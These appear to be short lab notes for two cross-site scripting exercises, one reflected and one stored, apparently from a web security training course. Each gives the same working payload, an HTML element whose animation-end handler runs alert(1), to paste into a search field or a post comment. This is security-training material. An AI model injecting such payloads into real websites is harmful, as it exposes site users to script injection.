Cross-site Scripting
Reflected XSS into HTML context with nothing encoded
In the search field paste this:
<style>@keyframes x{}</style><xss style="animation-name:x" onanimationend="alert(1)"></xss>
Lab: Stored XSS into HTML context with nothing encoded
In the comments of a post:
<style>@keyframes x{}</style><xss style="animation-name:x" onanimationend="alert(1)"></xss>